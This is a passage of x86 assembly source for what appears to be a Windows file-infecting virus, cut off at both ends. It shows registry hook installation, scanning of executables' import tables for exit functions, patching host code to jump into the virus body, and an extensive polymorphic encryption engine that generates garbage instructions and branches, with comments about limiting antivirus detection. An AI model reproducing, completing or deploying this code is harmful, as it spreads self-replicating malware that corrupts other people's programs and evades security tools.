eax ; eax can be either a pointer to the full path of ; runonce.exe (win9x) or a pointer to a "reversed" computername exe path (NT) mov dword ptr [ebp + _MainHostFileName], eax mov byte ptr [ebp + _MainHostFile], 1 Call infect ; infect it ! (Wont infect if we are running from it) mov byte ptr [ebp + _MainHostFile], 0 pop edi assume ebx : nothing lea eax, dword ptr [ebp + Disp] push eax lea eax, dword ptr [ebp + pKey] push eax xor eax, eax push eax push KEY_ALL_ACCESS push REG_OPTION_NON_VOLATILE push eax push eax lea eax, dword ptr [ebp + szKeyName] push eax push HKEY_CLASSES_ROOT lea eax, dword ptr [ebp + szRegCreateKeyExA] Call ADVAPI32Api lea esi, dword ptr [ebp + szRegHook] mov eax, edi call _strlen push edi add edi, eax mov ecx, eax @@: lodsb stosb inc ecx or al,al jnz @B pop edi push ecx ; <- size of hookstring push edi ; hookstring push REG_SZ xor eax, eax push eax push eax push dword ptr [ebp + pKey] lea eax, dword ptr [ebp + szRegSetValueExA] Call ADVAPI32Api push dword ptr [ebp + pKey] lea eax, dword ptr [ebp + szRegCloseKey] Call ADVAPI32Api add esp, 800h ret SetupRegHook endp ; ; ;in: esi = pFileMap ;in: edi = RVA ; ;out: eax = File offset ; RVAToOffset PROC uses edi esi ecx assume esi:ptr IMAGE_DOS_HEADER add esi,[esi].e_lfanew assume esi:ptr IMAGE_NT_HEADERS mov edx,esi add edx,sizeof IMAGE_NT_HEADERS movzx ecx,[esi].FileHeader.NumberOfSections assume edx:ptr IMAGE_SECTION_HEADER .while ecx>0 ; check all sections .if edi>=[edx].VirtualAddress mov eax,[edx].VirtualAddress add eax,[edx].SizeOfRawData .if edi<eax ; The address is in this section mov dword ptr [ebp + SecHeader],edx ; save section where we found the address sub edi, [edx].VirtualAddress mov eax,[edx].PointerToRawData add eax,edi ; eax == file offset ret .endif .endif add edx,sizeof IMAGE_SECTION_HEADER dec ecx ; next section .endw ;assume edx:nothing assume esi:nothing mov eax,edi ret RVAToOffset endp CheckFunctionImported proc push esi push edi mov edi,dword ptr [ebp + PEheader] mov edi, [edi].OptionalHeader.DataDirectory[sizeof IMAGE_DATA_DIRECTORY].VirtualAddress mov esi,dword ptr [ebp + pMap] push edx Call RVAToOffset pop edx add eax,dword ptr [ebp + pMap] mov edi,eax assume edi:ptr IMAGE_IMPORT_DESCRIPTOR .while !([edi].OriginalFirstThunk==0 && [edi].TimeDateStamp==0 \ && [edi].ForwarderChain==0 && [edi].Name1==0 \ && [edi].FirstThunk==0) or edx,edx jz ModScan push edi push esi mov edi,[edi].Name1 mov esi,dword ptr [ebp + pMap] push edx Call RVAToOffset pop edx add eax, dword ptr [ebp + pMap] pop esi pop edi Call _ToLower push edi push esi mov esi,edx mov edi,eax Call _strlen mov ecx,eax repz cmpsb ; Compare Modules pop esi pop edi or ecx,ecx jnz NextModule ModScan: and dword ptr [ebp + ThunkIndex],0 .if [edi].OriginalFirstThunk==0 mov esi,[edi].FirstThunk .else mov esi,[edi].OriginalFirstThunk .endif push edi mov edi,esi mov esi,dword ptr [ebp + pMap] push edx Call RVAToOffset pop edx pop edi add eax, dword ptr [ebp + pMap] mov esi,eax .while dword ptr [esi] != 0 test dword ptr [esi],IMAGE_ORDINAL_FLAG32 jnz NotExitProcess push edi push esi mov edi,[esi] mov esi,dword ptr [ebp + pMap] push edx Call RVAToOffset pop edx add eax, dword ptr [ebp + pMap] pop esi pop edi assume eax : ptr IMAGE_IMPORT_BY_NAME push edi push esi push eax lea eax,[eax].Name1 Call _strlen mov ecx,eax pop eax lea edi,[eax].Name1 mov esi,ebx repz cmpsb pop esi pop edi or ecx,ecx jnz NotExitProcess mov eax, dword ptr [edi].FirstThunk add eax, dword ptr [ebp + ThunkIndex] add eax, dword ptr [ebp + ImageBase] ; eax = thunk to available exitfunc jmp ExitFound NotExitProcess: add dword ptr [ebp + ThunkIndex],4 add esi,4 .endw NextModule: add edi,sizeof IMAGE_IMPORT_DESCRIPTOR .endw xor eax,eax ExitFound: pop edi pop esi ret CheckFunctionImported endp Int3InsideCodeOffset dd 0 PatchExitFunc proc pushad and dword ptr [ebp + Int3InsideCodeOffset], 0 assume esi : ptr IMAGE_SECTION_HEADER assume edi: ptr IMAGE_NT_HEADERS push dword ptr [[edi].OptionalHeader.ImageBase] pop dword ptr [ebp + HostBase] movzx esi, word ptr [[edi].FileHeader.SizeOfOptionalHeader] lea esi, [[edi].OptionalHeader + esi] ; esi pointe sur le premier IMAGE_SECTION_HEADER* mov edx,esi assume edx : ptr IMAGE_SECTION_HEADER mov eax,[esi].PointerToRawData mov ebx,dword ptr [ebp + pMap] lea esi, [ebx + eax] push esi mov ecx,[edx].Misc.VirtualSize cmp dword ptr [edx],'0XPU' ; Can't infect UPX jz ExitScan push esi push ecx SearchCavity: lodsd cmp eax, 0CCCCCCCCh jz Int3InsideCode? ; int 3 for our jmp/call ? NextCavity: jecxz @Restore sub ecx, 4 jns SearchCavity @Restore: pop ecx pop esi SearchCall: push ecx lodsb cmp al,0FFh jz Call_op? NextCall: pop ecx dec ecx jnz SearchCall ExitScan: pop esi popad mov eax, dword ptr [ebp + Patched?] ret Int3InsideCode?: cmp byte ptr [esi], 0CCh jnz @F sub esi, 4 mov dword ptr [ebp + Int3InsideCodeOffset], esi xor ecx, ecx @@: jmp NextCavity Call_op?: cmp byte ptr [esi],15h jz CheckExitProcess cmp byte ptr [esi],25h jnz NextCall CheckExitProcess: mov eax,dword ptr [esi+1] ; ImageBase + FirstThunk+ThunkIndex cmp dword ptr [ebp + _Exit1],eax jz GOT1 cmp dword ptr [ebp + _Exit2],eax jz GOT1 cmp dword ptr [ebp + _Exit3],eax jz GOT1 jmp NextCall GOT1: or eax,eax jz NextCall Call ApplyPatch jmp NextCall PatchExitFunc endp ApplyPatch proc uses esi push esi mov edi,dword ptr [ebp+PEheader] ; goto PEhdr assume edi:ptr IMAGE_NT_HEADERS movzx esi, word ptr [[edi].FileHeader.SizeOfOptionalHeader] lea esi, [[edi].OptionalHeader + esi] ; esi pointe sur le premier IMAGE_SECTION_HEADER movzx eax, word ptr [edi].FileHeader.NumberOfSections dec eax imul eax,eax,28h add esi,eax mov eax,dword ptr [ebp + Size2Align] add eax,[esi].VirtualAddress sub eax,dword ptr [esi].PointerToRawData add eax,dword ptr [edi].OptionalHeader.ImageBase ; eax = VirusOffset VA mov dword ptr [ebp + Patched?],1 pop esi mov ecx, dword ptr [ebp + Int3InsideCodeOffset] .IF ecx == 0 mov byte ptr [esi-1],68h mov dword ptr [esi],eax ; Patch !!! mov byte ptr [esi+4],0C3h .ELSE push eax mov dword ptr [ecx], eax sub ecx, dword ptr [ebp + pMap] push esi movzx esi, word ptr [[edi].FileHeader.SizeOfOptionalHeader] lea esi, [[edi].OptionalHeader + esi] add ecx, [esi].VirtualAddress sub ecx, [esi].PointerToRawData add ecx, dword ptr [ebp + HostBase] pop esi mov dword ptr [esi+1], ecx ; Patch !!! mov ecx, dword ptr [ebp + Int3InsideCodeOffset] mov esi, ecx @@: dec esi call Random32 cmp byte ptr [esi], 0CCh jnz @F mov byte ptr [esi], al jmp @B @@: mov esi, ecx add esi, 3 @@: inc esi call Random32 cmp byte ptr [esi], 0CCh jnz @F mov byte ptr [esi], al jmp @B @@: pop eax .ENDIF sub eax, OFFSET VirusStart mov dword ptr [ebp + @Delta],eax ; Pre-computed delta offset ret ApplyPatch endp UnMap proc push dword ptr [ebp+pMap] lea eax,dword ptr [ebp+szUnmapViewOfFile] ; UnMAP call K32Api push dword ptr [ebp+hMap] lea eax, dword ptr [ebp+szCloseHandle] call K32Api ret UnMap endp trunc_file proc push ecx xor esi,esi push esi push esi push ecx push dword ptr [ebp + hFile] lea eax, dword ptr [ebp+szSetFilePointer] Call K32Api push dword ptr [ebp + hFile] lea eax, dword ptr [ebp+szSetEndOfFile] Call K32Api pop ecx ret trunc_file endp _Align proc push edx xor edx,edx push eax div ecx pop eax sub ecx,edx add eax,ecx pop edx ret _Align endp _strlen proc push ecx xor ecx,ecx @@: inc ecx cmp byte ptr [eax + ecx],0 jnz @b mov eax,ecx pop ecx ret _strlen endp _ToLower proc push esi push ecx mov esi,eax Call _strlen mov ecx,eax @NextCh: mov al,byte ptr [esi+ecx] cmp al,41h jb @F cmp al,5Ah ja @F add al,32 mov byte ptr [esi+ecx],al @@: dec ecx jns @NextCh mov eax,esi pop ecx pop esi ret _ToLower endp ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; POLY VARS @Delta dd 0 PolyBuf dd 0 PolySize dd 0 JmpShort? db 0 PolyMainErr db 0 FileOFFSET dd 0 What2encrypt dd 0 SizeOfWhat2encrypt dd 0 ;RVA_What2encrypt dd 0 base_reg db 0 ; CRYPTOR REGS key_reg db 1 ; counter_reg db 2 ; cypher_reg db 7 ; garb_reg1 db 3 ; GARBAGE garb_reg2 db 5 ; garb_reg3 db 6 ; dummy db 0 ;Key dd 0 ; Cryptor Key Stored BaseOFS dd 0 ; Base Offset for later relocation LoopOFS dd 0 ; Begin of Offset to jump (decryption) CryptorPatch dd 0 ; ;JunkDataSize dd 0 ;pBranchBuf dd 0 ;BranchCodeSize dd 0 REG_EAX dd 0 ; Registers to restore when exception occurs REG_ECX dd 0 REG_EDX dd 0 REG_EBX dd 0 REG_ESI dd 0 REG_EDI dd 0 ;REG_ESP dd 0 PolyMain proc mov dword ptr [ebp + PolyBuf], edi mov dword ptr [ebp + What2encrypt], esi mov dword ptr [ebp + SizeOfWhat2encrypt], ecx and byte ptr [ebp + WtLp_Called], 0 and word ptr [ebp + _garb1_reserved], 0 mov byte ptr [ebp + PolyMainErr], 1 ; init error ;--- lea eax,[PolyMain_handlder+ebp] ; Setup SEH frame for poly error handling push eax mov dword ptr [ebp + PolyMainDelta],ebp ; Save Delta mov dword ptr [ebp + PolyMainStack],esp ; Save Stack xor edx,edx push dword ptr fs:[edx] mov dword ptr fs:[edx],esp Call PolyCryptor ; Create PolyCryptor mov eax,edi sub edi, dword ptr [ebp + PolyBuf] ; Get size of generated PolyCryptor mov dword ptr [ebp + PolySize],edi mov edx,edi push edx push edi Call EncryptVirus ; Call Polymorphic Encryption Routine pop ecx pop edx mov eax,dword ptr [ebp + BaseOFS] add dword ptr [eax],edi ; adjust base offset dec byte ptr [ebp + PolyMainErr] ; if we are here no fatal-error occured ;--- PolyMain_handlder: db 0BCh PolyMainStack dd 00000000h ; Restore Stack xor eax,eax pop dword ptr fs:[eax] db 0BDh PolyMainDelta dd 00000000h ; Restore Delta ;--- add ecx, dword ptr [ebp + SizeOfWhat2encrypt] ; return ecx == size of generated polycode mov esi, dword ptr [ebp + PolyBuf] mov eax, dword ptr [ebp + PolyErrFlag] ret PolyMain endp PolyCryptor proc Call GetRegs ; Get Cryptor Regs ;Call InitMemAccess ; Get data section offset ;Call GetRandomDataOFS ; init defaut mem aera ;Call GetRandomDataOFS ;mov cl, byte ptr [ebp + garb_reg3] ;mov byte ptr [ebp + _REG_OPCODE], cl ;Call EncodeMemLocation ;CALL GEN_LEA_REG32_DISP32 Call Make_Random_Blk;-**- Call SetSeq ; First 3 decryptor instructions can have 6 different sequence Call Random32 jp CRYPT_GEN_MOV_REG32_MEM_REG32 mov cl,byte ptr [ebp + base_reg] Call GEN_PUSH_REGMEM32 Call Make_Random_Blk;-**- mov cl,byte ptr [ebp + cypher_reg] Call GEN_POP_REG32 Call Make_Random_Blk;-**- jmp @F CRYPT_GEN_MOV_REG32_MEM_REG32: mov ch,byte ptr [ebp + base_reg] mov cl,byte ptr [ebp + cypher_reg] Call GEN_MOV_REG32_MEM_REG32 Call Make_Random_Blk;-**- ;**** @@: ;*** Call CryptSeq ; Call Make_Random_Blk;-**- Call Random32 jp CRYPT_GEN_MOV_MEM_REG32_REG32 mov cl,byte ptr [ebp + cypher_reg] Call GEN_PUSH_REG32 Call Make_Random_Blk;-**- mov cl,byte ptr [ebp + base_reg] Call GEN_POP_REGMEM32 Call Make_Random_Blk;-**- jmp @F CRYPT_GEN_MOV_MEM_REG32_REG32: mov ch,byte ptr [ebp + base_reg] mov cl,byte ptr [ebp + cypher_reg] Call GEN_MOV_MEM_REG32_REG32 Call Make_Random_Blk;-**- @@: push 4 ; ADD REG32,4 pop ebx .IF byte ptr [ebp + CryptBackward] != 0 neg ebx ; ADD REG32,-4 .ENDIF ;------------------------------------------------------------- Call HideConst ; Hide it ;------------------------------------------------------------- Call Make_Random_Blk;-**- ; ebx is now hidden ;*** Call Random32 jp GOFORADD neg ebx mov cl,byte ptr [ebp + base_reg] Call GEN_SUB_REG32_IMM Call Make_Random_Blk;-**- jmp @F GOFORADD: mov cl,byte ptr [ebp + base_reg] Call GEN_ADD_REG32_IMM Call Make_Random_Blk;-**- @@: ;------------------------------------------------------------- mov cl,byte ptr [ebp + base_reg] Call RestConst ;------------------------------------------------------------- Call Make_Random_Blk;-**- call Random32 jp @F ;mov byte ptr [ebp + UseDec], 1 mov cl,byte ptr [ebp + counter_reg] CAll GEN_DEC_REG32 jmp @MakeJMP @@: ;mov byte ptr [ebp + UseDec], 0 xor ebx,ebx dec ebx ;------------------------------------------------------------- Call HideConst ;------------------------------------------------------------- Call Make_Random_Blk;-**- ; ebx is now hidden ;*** Call Random32 jp @GOFORADD neg ebx mov cl,byte ptr [ebp + counter_reg] Call GEN_SUB_REG32_IMM jmp MakeJMP @GOFORADD: mov cl,byte ptr [ebp + counter_reg] Call GEN_ADD_REG32_IMM MakeJMP: Call Make_Random_Blk;-**- mov cl,byte ptr [ebp + counter_reg] Call RestConst @MakeJMP: mov cl, byte ptr [ebp + counter_reg] mov eax, dword ptr [ebp + LoopOFS] mov dword ptr [ebp + MulFactor], 1 CALL MakePolyJMP ;CALL SHIT_TEST mov dword ptr [ebp + CryptorPatch],edi Call Make_Random_Blk;-**- push 8 pop eax push 12 pop ecx Call Get_rand_range mov ecx,eax Call GarbageBlock Call Make_Random_Blk;-**- ret PolyCryptor endp CODEGenerated dd 0 ; retrieve the content of this variable immediatly after calling Make_Random_BlkXXXX (in case of Branch destination calculation) Make_Random_Blk proc uses ecx ebx edx esi push edi xor eax,eax push 18 pop ecx Call Get_rand_range .IF eax <= 7 Call LittleBlk .ELSEIF eax > 7 && eax <= 10 Call Push_Pop_blk .ELSEIF eax == 11 Call MediumBlk .ELSEIF eax > 12 && eax <= 16 ; (trop de détection si ce facteur est trop élevé.) Call Branch_blk .ELSEIF eax == 17 Call MemAccess_blk .ENDIF pop eax sub eax, edi neg eax mov dword ptr [ebp + CODEGenerated], eax ; <- put in eax size of code generated ret Make_Random_Blk endp TrashOrBlk proc Call Random32 and eax, 07h ; 1 / 7 this can be trash dec eax jnz RandBlk Call Random32 and eax, 7Fh inc eax push edi Call GenTrashBlk pop eax sub eax, edi neg eax mov dword ptr [ebp + CODEGenerated], eax ; <- put in eax size of code generated ret RandBlk: Call Make_Random_Blk ret TrashOrBlk endp Make_Random_Blk_no_0_disp proc BadGen: push edi Call Make_Random_Blk pop eax sub eax, edi or eax, eax jz BadGen ; we don't want zero disp ret Make_Random_Blk_no_0_disp endp ;/BRANCH BranchMaxRecurs db 0 pBranchBuf equ ESI Branch_blk proc uses esi Call LittleBlk inc byte ptr [ebp + BranchMaxRecurs] cmp byte ptr [ebp + BranchMaxRecurs], 6 jae ExitBranch sub esp, 20 mov esi, esp push PAGE_EXECUTE_READWRITE push MEM_RESERVE or MEM_COMMIT push MAX_BRANCH_CODE_SIZE push 0 lea eax, dword ptr [ebp + szVirtualAlloc] Call K32Api mov dword ptr [pBranchBuf],eax push eax xor eax,eax push 5 pop ecx Call Get_rand_range mov ecx, eax or ecx, ecx pop eax jz @Branch1 dec ecx jz @Branch2 @JmpOver: Call RandomJMPOver jmp @F @Branch1: Call BranchMethod1 jmp @F @Branch2: Call BranchMethod2 @@: push MEM_DECOMMIT or MEM_RELEASE push MAX_BRANCH_CODE_SIZE push dword ptr [pBranchBuf] lea eax, dword ptr [ebp + szVirtualFree] Call K32Api add esp, 20 and byte ptr [ebp + BranchMaxRecurs], 0 ExitBranch: Call LittleBlk ret Branch_blk endp UniversalCALL proc Call GEN_CALL_OFS ret UniversalCALL endp SizeOfJMP dd 0 ; retrieve the content of this variable immediatly after calling UniversalJMP UniversalJMP proc push edi Call GEN_JMP_OFS pop eax sub eax, edi neg eax mov dword ptr [ebp + SizeOfJMP], eax ret UniversalJMP endp JMPSHORT equ 0 JMPLONG equ 1 BranchOFFSET1 equ esi BranchOFFSET2 equ esi+4 BranchOFFSET3 equ esi+8 AdjustBranch1 equ esi+12 AdjustBranch2 equ esi+16 SizeGenerated2 equ esi+20 SizeGenerated3 equ esi+24 _pBranchBuf equ esi+28 JMP_TABLE dd OFFSET GEN_JNZ_OFS dd OFFSET GEN_JZ_OFS dd OFFSET GEN_JNZ_OFS dd OFFSET GEN_JZ_OFS dd OFFSET GEN_JNZ_OFS dd OFFSET GEN_JZ_OFS dd OFFSET GEN_JNZ_OFS dd OFFSET GEN_JZ_OFS TOTALJZ_JNZ = (OFFSET $ - OFFSET JMP_TABLE) / 4 dd OFFSET GEN_JNS_OFS dd OFFSET GEN_JS_OFS dd OFFSET GEN_JG_OFS dd OFFSET GEN_JL_OFS dd OFFSET GEN_JGE_OFS dd OFFSET GEN_JLE_OFS dd OFFSET GEN_JBE_OFS dd OFFSET GEN_JA_OFS dd OFFSET GEN_JNB_OFS dd OFFSET GEN_JP_OFS dd OFFSET GEN_JNP_OFS TOTALJMP = (OFFSET $ - OFFSET JMP_TABLE) / 4 RandomJMPOver proc uses ecx esi sub esp, 60 mov esi, esp mov dword ptr [_pBranchBuf], eax and dword ptr [BranchOFFSET1],0 ; unconditional jmp flag and dword ptr [BranchOFFSET2],0 ; jz/jnz temp flag push dword ptr [ebp + CMP_Range] xor eax,eax push 5 pop ecx Call Get_rand_range or eax, eax jz LooksLikeDecryptor dec eax jz Random dec eax jz SkipDirectCMP SimpleJMP: inc dword ptr [BranchOFFSET1] jmp SkipDirectCMP Random: Call Random32 push eax Call Random32 and eax, 07h dec eax pop eax jnz @F sub eax, eax @@: mov dword ptr [ebp + CMP_Range], eax Call Get2RandRegs Call Random32 jp @@RandRegs Call Get2RandRegs Call GEN_CMP_REG32_REG32 jmp SkipDirectCMP LooksLikeDecryptor: Call Random32 and eax, 7Fh mov dword ptr [ebp + CMP_Range], eax Call Get2RandRegs mov cl, ch @@RandRegs: push ecx xor eax,eax push 5 pop ecx Call Get_rand_range pop ecx or eax,eax jz @GEN_CMP_REG32_IMM dec eax jz @GEN_TEST_REG32_REG32 dec eax jz @GEN_TEST_REG32_IMM32 dec eax jz @GEN_OR_REG32_REG32 jmp SkipDirectCMP @GEN_CMP_REG32_IMM: Call Random32 mov cl, al and cl, 7 push ecx xor eax,eax mov ecx, dword ptr [ebp + CMP_Range] jecxz @F Call Get_rand_range @@: mov ebx,eax pop ecx Call GEN_CMP_REG32_IMM jmp SkipDirectCMP @GEN_TEST_REG32_REG32: CAll GEN_TEST_REG32_REG32 jmp SkipDirectCMP @GEN_TEST_REG32_IMM32: Call Random32 mov cl, al and cl, 7 Call Random32 mov ebx, eax Call ArrangeTo8Bits? Call ArrangeTo8Bits? Call ArrangeTo8Bits? inc dword ptr [BranchOFFSET2] Call GEN_TEST_REG32_IMM32 jmp SkipDirectCMP @GEN_OR_REG32_REG32: Call Get2RandRegs Call GEN_OR_REG32_REG32 SkipDirectCMP: push edi mov edi, dword ptr [_pBranchBuf] Call Make_Random_Blk_no_0_disp mov ebx, dword ptr [ebp + CODEGenerated] pop edi push ebx ;Call UniversalJMP xor eax,eax .IF dword ptr [BranchOFFSET2] == 0 push TOTALJMP .ELSE push TOTALJZ_JNZ ; for test reg32, XXXXXXXX .ENDIF pop ecx Call Get_rand_range lea ecx,dword ptr [ebp + JMP_TABLE] mov eax,dword ptr [ecx + (eax * 4)] add eax,ebp push edi .IF dword ptr [BranchOFFSET1] == 0 Call eax .ELSE Call GEN_JMP_OFS .ENDIF pop eax sub eax, edi neg eax mov dword ptr [ebp + SizeOfJMP], eax pop ebx mov eax, dword ptr [ebp + SizeOfJMP] mov ecx, edi .IF eax <= 4 ; short dec ecx .ELSE sub ecx, 4 .ENDIF mov eax, ecx .IF ecx >= 80h && ecx < -80h mov dword ptr [eax], ebx ; Ajdust JMP .ELSE mov byte ptr [eax], bl .ENDIF mov ecx, ebx mov esi, dword ptr [_pBranchBuf] rep movsb pop dword ptr [ebp + CMP_Range] add esp, 60 ret RandomJMPOver endp BranchMethod1 proc uses ecx esi ;in : eax = branch offset sub esp, 60 mov esi, esp mov dword ptr [_pBranchBuf], eax ; save branch buf offset Call UniversalCALL ; Create Call mov eax, edi sub eax, 4 mov dword ptr [AdjustBranch1], eax Call Make_Random_Blk mov ebx, eax;dword ptr [ebp + CODEGenerated] push edi mov edi, dword ptr [_pBranchBuf] Call TrashOrBlk ;mov eax, dword ptr [ebp + CODEGenerated] mov dword ptr [SizeGenerated2], eax add ebx, eax Call Make_Random_Blk_no_0_disp mov eax, dword ptr [ebp + CODEGenerated] inc eax ; for ret add dword ptr [SizeGenerated2], eax mov al, 0C3h stosb Call TrashOrBlk ;mov eax, dword ptr [ebp + CODEGenerated] add dword ptr [SizeGenerated2], eax pop edi push ebx mov ebx, dword ptr [SizeGenerated2] Call UniversalJMP pop ebx add ebx, dword ptr [ebp + SizeOfJMP] mov eax, dword ptr [AdjustBranch1] mov dword ptr [eax], ebx ; time to adjust CALL mov eax, dword ptr [ebp + SizeOfJMP] mov ecx, edi .IF eax <= 4 ; short dec ecx .ELSE sub ecx, 4 .ENDIF ;mov dword ptr [AdjustBranch2], ecx mov eax, ecx;dword ptr [AdjustBranch2] mov ecx, dword ptr [SizeGenerated2] .IF ecx >= 80h && ecx < -80h mov dword ptr [eax], ecx ; Ajdust JMP .ELSE mov byte ptr [eax], cl .ENDIF mov esi, dword ptr [_pBranchBuf] rep movsb add esp, 60 ret BranchMethod1 endp BranchMethod2 proc uses ecx esi ;in : eax = branch offset sub esp, 60 mov esi, esp mov dword ptr [_pBranchBuf], eax ; save branch buf offset push edi mov edi, eax push edi;; Call TrashOrBlk ;mov eax, dword ptr [ebp + CODEGenerated] mov dword ptr [BranchOFFSET1], eax ; for call, will be adjusted later... mov dword ptr [SizeGenerated2], eax Call Make_Random_Blk_no_0_disp mov eax, dword ptr [ebp + CODEGenerated] inc eax ; for ret add dword ptr [SizeGenerated2], eax mov al, 0C3h stosb Call TrashOrBlk ;mov eax, dword ptr [ebp + CODEGenerated] add dword ptr [SizeGenerated2], eax Call Make_Random_Blk mov eax, dword ptr [SizeGenerated2] add eax, dword ptr [ebp + CODEGenerated] add eax, 5 mov dword ptr [SizeGenerated3], eax Call UniversalCALL ; Create Call mov eax, edi sub eax, 4 pop ecx;; sub ecx, edi add ecx, dword ptr [BranchOFFSET1] mov dword ptr [eax], ecx ; adjust call offset pop edi mov ebx, dword ptr [SizeGenerated2] Call UniversalJMP mov eax, dword ptr [ebp + SizeOfJMP] mov ecx, edi .IF eax <= 4 ; short dec ecx .ELSE sub ecx, 4 .ENDIF ;mov dword ptr [AdjustBranch2], ecx mov eax, ecx; dword ptr [AdjustBranch2] mov ecx, dword ptr [SizeGenerated2] .IF ecx >= 80h && ecx < -80h mov dword ptr [eax], ecx ; Ajdust JMP .ELSE mov byte ptr [eax], cl .ENDIF mov ecx, dword ptr [SizeGenerated3] mov esi, dword ptr [_pBranchBuf] rep movsb add esp, 60 ret BranchMethod2 endp BranchMethod3 proc sub esp, 60 mov esi, esp mov dword ptr [_pBranchBuf], eax ; save branch buf offset push edi mov edi, eax Call Make_Random_Blk ;mov eax, dword ptr [ebp + CODEGenerated] mov dword ptr [BranchOFFSET1], eax pop edi add esp, 60 ret BranchMethod3 endp WhereToJmp dd 0 ;UseDec db 0 _LoopOFS equ esi MakePolyJMP proc uses esi edx ecx ebx; in : ecx ctr_reg sub esp, 10 mov esi, esp mov dword ptr [_LoopOFS], eax push ecx xor eax,eax push 4 pop ecx Call Get_rand_range pop ecx mov ch, cl or eax,eax jz @GEN_CMP_REG32_IMM dec eax jz @GEN_TEST_REG32_REG32 dec eax jz @GEN_OR_REG32_REG32 jmp SkipDirectCMP @GEN_CMP_REG32_IMM: push ecx Call Make_Random_Blk;-**- xor eax,eax mov ecx, dword ptr [ebp + CMP_Range] jecxz @F Call Get_rand_range @@: mov ebx,eax pop ecx Call GEN_CMP_REG32_IMM jmp SkipDirectCMP @GEN_TEST_REG32_REG32: Call Make_Random_Blk;-**- CAll GEN_TEST_REG32_REG32 jmp SkipDirectCMP @GEN_OR_REG32_REG32: Call Make_Random_Blk;-**- Call GEN_OR_REG32_REG32 SkipDirectCMP: Call Random32 ; Get method jp @Method1 Call Random32 ; Get method jp @JmpLong xor ebx, ebx ; setup relative jmp short jmp @Method2 @JmpLong: mov ebx, edi ; setup relative jmp long jmp @Method2 @Method1: mov ebx,dword ptr [_LoopOFS] sub ebx,edi ; adresse où sauter xor eax,eax .IF dword ptr [ebp + MulFactor] == 1 push 4 .ELSE push 3 .ENDIF pop ecx Call Get_rand_range or eax,eax jz @GEN_JNS_OFS dec eax jz @GEN_JG_OFS dec eax jz @GEN_JGE_OFS Call GEN_JNZ_OFS jmp ExitJmp @GEN_JNS_OFS: CALL GEN_JNS_OFS jmp ExitJmp @GEN_JG_OFS: CALL GEN_JG_OFS jmp ExitJmp @GEN_JGE_OFS: CALL GEN_JGE_OFS ExitJmp: jmp ExitFinal @Method2: ;--- xor eax,eax .IF dword ptr [ebp + MulFactor] == 1 push 4 .ELSE push 3 .ENDIF pop ecx Call Get_rand_range or eax,eax jz @GEN_JS_OFS dec eax jz @GEN_JL_OFS dec eax jz @GEN_JLE_OFS Call GEN_JZ_OFS jmp ExitJmp2 @GEN_JS_OFS: CALL GEN_JS_OFS jmp ExitJmp2 @GEN_JL_OFS: CALL GEN_JL_OFS jmp ExitJmp2 @GEN_JLE_OFS: CALL GEN_JLE_OFS ExitJmp2: mov eax, edi .IF byte ptr [ebp + JmpShort?] == 1 dec eax .ELSE sub eax, 4 .ENDIF mov dword ptr [ebp + WhereToJmp], eax .IF byte ptr [ebp + JmpShort?] == 0 mov ebx, edi mov edx, edi Encore: mov ebx, edx Call Make_Random_Blk ; jmp long sub ebx, edi neg ebx Call IS_NBR_8B jnc Encore ; not enough disp push ebx mov edx, edi mov ebx,dword ptr [_LoopOFS] sub ebx,edi ; adresse où sauter CALL GEN_JMP_OFS sub edx, edi neg edx pop ebx add ebx, edx push ebx mov edx, edi Call Make_Random_Blk sub edx, edi neg edx pop ebx add ebx, edx Call Random32 and eax, 7 jnz @Notrash xor eax,eax inc eax push 100 pop ecx Call Get_rand_range add ebx, eax Call GenTrashBlk @Notrash: mov eax, dword ptr [ebp + WhereToJmp] mov dword ptr [eax], ebx .ELSE mov ebx, edi Call LittleBlk ; little block for short disp... sub ebx, edi neg ebx push ebx mov edx, edi mov ebx,dword ptr [_LoopOFS] sub ebx,edi CALL GEN_JMP_OFS sub edx, edi neg edx pop ebx add ebx, edx push ebx mov edx, edi Call LittleBlk ; sub edx, edi neg edx pop ebx add ebx, edx Call Random32 and eax, 7 jnz @Notrash2 xor eax,eax inc eax push 20 pop ecx Call Get_rand_range add ebx, eax Call GenTrashBlk @Notrash2: mov eax, dword ptr [ebp + WhereToJmp] mov byte ptr [eax], bl .ENDIF ExitFinal: add esp, 10 ret MakePolyJMP endp GenTrashBlk proc uses ecx xchg eax, ecx @@: Call Random32 stosb dec ecx jnz @B ret GenTrashBlk endp EncryptVirus proc push edi and dword ptr [ebp + PolyErrFlag],0 mov edi,eax mov esi, dword ptr [ebp + What2encrypt] mov ecx, dword ptr [ebp + SizeOfWhat2encrypt] shr ecx, 2 inc ecx rep movsd mov ebx, dword ptr [ebp + PolyBuf] sub ebx, OFFSET VirusStart add ebx,dword ptr [ebp + PolySize] ; get MEM delta mov eax,dword ptr [ebp + BaseOFS] add dword ptr [eax],ebx ; Adjust Delta mov ecx,0C3C3C3C3h ; ret mov esi,dword ptr [ebp + CryptorPatch] xchg ecx,dword ptr [esi] ; DWORD TO PATCH Call Save_regs ; lea eax,[poly_handler+ebp] ; Setup SEH frame for poly error handling push eax mov dword ptr [ebp + @@@@Delta],ebp ; Save Delta mov dword ptr [ebp + @@StackPtr],esp ; Save Stack xor edx,edx push dword ptr fs:[edx] mov dword ptr fs:[edx],esp mov eax,dword ptr [ebp + PolyBuf] add eax,dword ptr [ebp + PolySize] mov eax,dword ptr [eax+4] mov dword ptr [ebp + VirCODE],eax ; Portion of virus code (PolyErrFlag) ;int 3; *-*-* Call dword ptr [ebp + PolyBuf] poly_handler: cld ; <- clear direction flag (possible "std" executed in poly code) DB 0BCh @@StackPtr dd 00000000h ; Restore Stack xor edx,edx pop dword ptr fs:[edx] db 0BDh @@@@Delta dd 00000000h ; Restore Delta push eax mov eax,dword ptr [ebp + PolyBuf] add eax,dword ptr [ebp + PolySize] mov edx,dword ptr [ebp + VirCODE] mov eax,dword ptr [eax+4] ; Encryption check in case of error cmp edx,eax jnz @F inc dword ptr [ebp + PolyErrFlag] ; IF edx == eax then virus is not properly encrypted @@: pop eax Call Restore_regs xchg ecx,dword ptr [esi];; sub dword ptr [eax],ebx mov ebx,dword ptr [ebp + @Delta] add dword ptr [eax],ebx ; ReAjust Offset pop edi ret EncryptVirus endp ConstHider dd 0 dd 0 dd 0 dd 0 HideCtr dd 0 HideMaxCtr dd 0 ; In ebx = const to hide HideConst proc uses ecx edx push edi lea edi, [ebp + RestoreTBL] xor eax, eax mov ecx, 4 rep stosd pop edi and dword ptr [ ebp + HideCtr], 0 xor eax,eax inc eax push 4 pop ecx Call Get_rand_range mov dword ptr [ ebp + HideMaxCtr], 